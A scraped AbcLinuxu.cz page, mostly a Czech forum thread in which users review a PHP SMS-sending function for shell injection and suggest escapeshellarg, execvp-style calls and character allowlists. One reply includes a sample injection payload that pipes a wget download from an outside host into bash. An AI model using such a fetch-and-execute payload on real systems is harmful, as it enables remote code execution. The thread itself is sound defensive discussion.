abclinuxu.cz AbcLinuxu.cz itbiz.cz ITBiz.cz HDmag.cz HDmag.cz abcprace.cz AbcPráce.cz
AbcLinuxu hledá autory!
Inzerujte na AbcPráce.cz od 950 Kč
Rozšířené hledání
×
eParkomat, startup z ČR, postoupil mezi finalisty evropského akcelerátoru ChallengeUp!
Robot na pivo mu otevřel dveře k opravdovému byznysu
Internet věcí: Propojený svět? Už se to blíží...
dnes 06:00 | Zajímavý software

OMG! Ubuntu! představuje emulátor terminálu Hyper (GitHub) postavený na webových technologiích (HTML, CSS a JavaScript). V diskusi k článku je zmíněn podobný emulátor terminálu Black Screen. Hyper i Black Screen používají framework Electron, stejně jako editor Atom nebo vývojové prostředí Visual Studio Code.

Ladislav Hagara | Komentářů: 9
dnes 06:00 | Zajímavý článek

I letos vychází řada ajťáckých adventních kalendářů. QEMU Advent Calendar 2016 přináší každý den nový obraz disku pro QEMU. Programátoři se mohou potrápit při řešení úloh z kalendáře Advent of Code 2016. Kalendáře Perl Advent Calendar 2016 a Perl 6 Advent Calendar přinášejí každý den zajímavé informace o programovacím jazyce Perl. Stranou nezůstává ani programovací jazyk Go.

Ladislav Hagara | Komentářů: 4
3.12. 16:24 | Nová verze

Byla vydána Mageia 5.1. Jedná se o první opravné vydání verze 5, jež vyšla v červnu loňského roku (zprávička). Uživatelům verze 5 nepřináší opravné vydání nic nového, samozřejmě pokud pravidelně aktualizují. Vydání obsahuje všechny aktualizace za posledního téměř půldruhého roku. Mageia 5.1 obsahuje LibreOffice 4.4.7, Linux 4.4.32, KDE4 4.14.5 nebo GNOME 3.14.3.

Ladislav Hagara | Komentářů: 10
3.12. 13:42 | Pozvánky

V Praze probíhá konference Internet a Technologie 16.2, volné pokračování jarní konference sdružení CZ.NIC. Konferenci lze sledovat online na YouTube. K dispozici je také archiv předchozích konferencí.

Ladislav Hagara | Komentářů: 0
2.12. 22:44 | Komunita

Joinup informuje, že Mnichov používá open source groupware Kolab. V srpnu byl dokončen dvouletý přechod na toto řešení. V provozu je asi 60 000 poštovních schránek. Nejenom Kolabu se věnoval Georg Greve ve své přednášce Open Source: the future for the European institutions (SlideShare) na konferenci DIGITEC 2016, jež proběhla v úterý 29. listopadu v Bruselu. Videozáznam přednášek z hlavního sálu je ke zhlédnutí na Livestreamu.

Ladislav Hagara | Komentářů: 25
2.12. 15:30 | Zajímavý projekt

Společnost Jolla oznámila v příspěvku Case study: Sailfish Watch na svém blogu, že naportovala Sailfish OS na chytré hodinky. Využila a inspirovala se otevřeným operačním systémem pro chytré hodinky AsteroidOS. Použita je knihovna libhybris. Ukázka ovládání hodinek na YouTube.

Ladislav Hagara | Komentářů: 8
2.12. 14:15 | Nová verze

Byla vydána verze 7.1.0 skriptovacího jazyka PHP používaného zejména k vývoji dynamických webových stránek. Jedná se o první stabilní verzi nejnovější větvě 7.1. Přehled novinek v dokumentaci. Podrobnosti v ChangeLogu. K dispozici je také příručka pro přechod z PHP 7.0.x na PHP 7.1.x.

Ladislav Hagara | Komentářů: 4
2.12. 12:55 | Nová verze

Google Chrome 55 byl prohlášen za stabilní. Nejnovější stabilní verze 55.0.2883.75 tohoto webového prohlížeče přináší řadu oprav a vylepšení (YouTube). Opraveno bylo také 36 bezpečnostních chyb. Mariusz Mlynski si například vydělal 22 500 dolarů za 3 nahlášené chyby (Universal XSS in Blink).

Ladislav Hagara | Komentářů: 4
2.12. 11:55 | Pozvánky

Máte rádi svobodný software a hardware nebo se o nich chcete něco dozvědět? Přijďte na 135. sraz spolku OpenAlt, který se bude konat ve čtvrtek 8. prosince od 18:00 v Radegastovně Perón (Stroupežnického 20, Praha 5). Sraz bude tentokrát tématický. Bude retro! K vidění budou přístroje jako Psion 5mx nebo Palm Z22. Ze svobodného hardwaru pak Openmoko nebo čtečka WikiReader. Přijďte se i vy pochlubit svými legendami, nebo alespoň na pivo. Moderní hardware má vstup samozřejmě také povolen.

xkucf03 | Komentářů: 1
2.12. 00:10 | Nová verze

Byla vydána verze 3.2 svobodného systému pro detekci a prevenci průniků a monitorování bezpečnosti počítačových sítí Suricata. Z novinek lze zmínit například podporu protokolů DNP3 a CIP/ENIP, vylepšenou podporu TLS a samozřejmě také aktualizovanou dokumentaci.

Ladislav Hagara | Komentářů: 0
Kolik máte dat ve svém domovském adresáři na svém primárním osobním počítači?
 (32%)
 (24%)
 (29%)
 (7%)
 (5%)
 (3%)
Celkem 772 hlasů
 Komentářů: 50, poslední 29.11. 15:50
Rozcestník
Reklama

Dotaz: Skontrolujte mi prosím bezpečnosť funkcie

11.12.2014 18:50 Peter
Skontrolujte mi prosím bezpečnosť funkcie
Přečteno: 397×
Dobrý deň vám prajem.

Veľmi sprostá otázka a prosba, ale istota je guľomet. Budete taký dobrý a môžete mi skontrolovať prosím či táto funkcia nemá nejakú bezpečnostnú dieru, proste či nejakým spôsobom môže útočník zneužiť bash (keďže samozrejme vstup $Number a $Message je priamo od používateľa):
function smssend($Number,$Message) {                                                                                                                                 
  $Recode=array('ä'=>'a','Ä'=>'A','á'=>'a','Á'=>'A','à'=>'a','À'=>'A','ã'=>'a','Ã'=>'A','â'=>'a','Â'=>'A','č'=>'c','Č'=>'C','ć'=>'c','Ć'=>'C',                       
                'ď'=>'d','Ď'=>'D','ě'=>'e','Ě'=>'E','é'=>'e','É'=>'E','ë'=>'e','Ë'=>'E','è'=>'e','È'=>'E','ê'=>'e','Ê'=>'E','í'=>'i','Í'=>'I',                       
                'ï'=>'i','Ï'=>'I','ì'=>'i','Ì'=>'I','î'=>'i','Î'=>'I','ľ'=>'l','Ľ'=>'L','ĺ'=>'l','Ĺ'=>'L','ń'=>'n','Ń'=>'N','ň'=>'n','Ň'=>'N',                       
                'ñ'=>'n','Ñ'=>'N','ó'=>'o','Ó'=>'O','ö'=>'o','Ö'=>'O','ô'=>'o','Ô'=>'O','ò'=>'o','Ò'=>'O','õ'=>'o','Õ'=>'O','ő'=>'o','Ő'=>'O',                       
                'ř'=>'r','Ř'=>'R','ŕ'=>'r','Ŕ'=>'R','š'=>'s','Š'=>'S','ś'=>'s','Ś'=>'S','ť'=>'t','Ť'=>'T','ú'=>'u','Ú'=>'U','ů'=>'u','Ů'=>'U',                       
                'ü'=>'u','Ü'=>'U','ù'=>'u','Ù'=>'U','ũ'=>'u','Ũ'=>'U','û'=>'u','Û'=>'U','ý'=>'y','Ý'=>'Y','ž'=>'z','Ž'=>'Z','ź'=>'z','Ź'=>'Z');                      
  exec('smssend '.preg_replace('/[^0-9]/','',$Number).' "'.preg_replace('/[^0-9a-zA-Z\+\-\*\/\.\,\:\; ]/','',strtr($Message,$Recode)).'"');                          
}
Vopred vám veľmi pekne ďakujem za ochotu.

Řešení dotazu:


Odpovědi

Fuky avatar 11.12.2014 22:11 Fuky | skóre: 52 | blog: 4u
Rozbalit Rozbalit vše Re: Skontrolujte mi prosím bezpečnosť funkcie

Pro převod na ASCII bych využíval standartní funkce dostupné v konkrétním prostředí:

PHP

setlocale(LC_CTYPE, 'cs_CZ');
echo iconv('UTF-8', 'ASCII//TRANSLIT', "Příšerně žluťoučký kůň úpěl ďábelské ódy.");

Bash

$ echo "Příšerně žluťoučký kůň úpěl ďábelské ódy." |enca -C extern -E cstocs -x ascii -L cs_CZ
Priserne zlutoucky kun upel dabelske ody.

Python

$ echo "Příšerně žluťoučký kůň úpěl ďábelské ódy." |python -c 'import sys, unicodedata; print unicodedata.normalize("NFKD", sys.stdin.read().decode("utf-8")).encode("ascii", "ignore")'
Priserne zlutoucky kun upel dabelske ody.

Co se týče zneužití fce exec(), tak mě na první pohled nic nenapadá.

Fuky avatar 11.12.2014 22:28 Fuky | skóre: 52 | blog: 4u
Rozbalit Rozbalit vše Re: Skontrolujte mi prosím bezpečnosť funkcie
Josef Kufner avatar 12.12.2014 01:10 Josef Kufner | skóre: 66
Rozbalit Rozbalit vše Re: Skontrolujte mi prosím bezpečnosť funkcie
Na volání shellu je nutné zadávané hodnoty escapovat, podobně jako v SQL. Použij funkci escapeshellarg:
exec('smssend '.escapeshellarg($number).' '.escapeshellarg($message));
Hello world ! Segmentation fault (core dumped)
Fuky avatar 12.12.2014 09:41 Fuky | skóre: 52 | blog: 4u
Rozbalit Rozbalit vše Re: Skontrolujte mi prosím bezpečnosť funkcie

Podívej se na:

' "'.preg_replace('/[^0-9a-zA-Z\+\-\*\/\.\,\:\; ]/','',strtr($Message,$Recode)).'"'

Řekl bych, že tazatel si uvědomuje podstatu problému a zná fci escapeshellarg(), ale chce mít ve zprávě potencionálně nebezpečné znaky '*', ';' bez zpětného lomítka. A mě nenapadá, jak je v té jeho konstrukci zneužít, když začíná a končí řetězec pomocí uvozovek a zároveň podle mě nenechal k dispozici žádný znak, který by umožnil řetězec ukončit ze strany uživatele a provést spuštění vlastního příkazu. Nebo tě napadá nějaká konkrétní možnost zneužití?

Fuky avatar 12.12.2014 09:50 Fuky | skóre: 52 | blog: 4u
Rozbalit Rozbalit vše Re: Skontrolujte mi prosím bezpečnosť funkcie

Teď mě napadá, tazatel ještě nezmínil jaké argumenty umožňuje přijímat program smssend, mmj. bych omezil velikost uživatelského vstupu na maximální požadovanou velikost zprávy.

Security issues with using PHP's escapeshellarg
Breaking escapeshellarg() news

12.12.2014 15:30 petr_p | skóre: 59 | blog: pb
Rozbalit Rozbalit vše Re: Skontrolujte mi prosím bezpečnosť funkcie
A proto je nejlepší shell z toho celého cirkusu vynechat. Obzvlášť, když netuší, jaký shell se vůbec použije (od toho se odvíjí escapovaní). Ten programovací jazyk (PHP?) nemá funkci na execve(2)?
Josef Kufner avatar 12.12.2014 17:31 Josef Kufner | skóre: 66
Rozbalit Rozbalit vše Re: Skontrolujte mi prosím bezpečnosť funkcie
Má: pcntl_exec. A máš pravdu, je to mnohem lepší řešení, jen to má takový drobný nedostatek: execve ani pcntl_exec neprohledává $PATH, což je celkem otrava.

Navíc pokud chceš pracovat s stdio onoho programu, je lepší použít funkci proc_open, která umí přesměrovávat všechny filedescriptory dle libosti. Ale tady se zas použije shell a s tím je potřeba i escapovat argumenty.
Hello world ! Segmentation fault (core dumped)
12.12.2014 19:09 petr_p | skóre: 59 | blog: pb
Rozbalit Rozbalit vše Re: Skontrolujte mi prosím bezpečnosť funkcie
Drobný nedostatek lze řešit posixovým execvp(3). (Jen je třeba pamatovat, že za neexistence proměnné PATH je chování nedefinováno; například glibc se pak dívá do pracovního adresáře.)
12.12.2014 15:38 pet
Rozbalit Rozbalit vše Re: Skontrolujte mi prosím bezpečnosť funkcie
V tom $Recode ti chybí mnoho znaků, např. ç a Ç. Použij raději standartní funkce jak doporučuje Fuky výše.
Jendа avatar 13.12.2014 00:38 Jendа | skóre: 73 | blog: Výlevníček | JO70FB
Rozbalit Rozbalit vše Re: Skontrolujte mi prosím bezpečnosť funkcie
Není, escapuješ diakritiku, ale já ti tam můžu napsat zprávu "; wget backdoor.hrach.eu -q -O - | bash;" a je to.
13.12.2014 01:12 z
Rozbalit Rozbalit vše Re: Skontrolujte mi prosím bezpečnosť funkcie
A je co? Prdlačky.
Jendа avatar 13.12.2014 01:44 Jendа | skóre: 73 | blog: Výlevníček | JO70FB
Rozbalit Rozbalit vše Re: Skontrolujte mi prosím bezpečnosť funkcie
Aha, dělá ještě preg_replace.

Doporučil bych to ale dělat naopak, tj. mít seznam povolených znaků, nikoli zakázaných. (no a nebo nejlíp ty jiné metody spouštění příkazu, které jsou výše)
Fuky avatar 13.12.2014 09:22 Fuky | skóre: 52 | blog: 4u
Rozbalit Rozbalit vše Re: Skontrolujte mi prosím bezpečnosť funkcie
Zkus se podívat podrobněji na to co skutečně dělá kód tazatele a pak přehodnoť text svých příspěvků. ;-)

Založit nové vláknoNahoru

Tiskni Sdílej: Linkuj Jaggni to Vybrali.sme.sk Google Del.icio.us Facebook

ISSN 1214-1267   www.czech-server.cz
© 1999-2015 Nitemedia s. r. o. Všechna práva vyhrazena.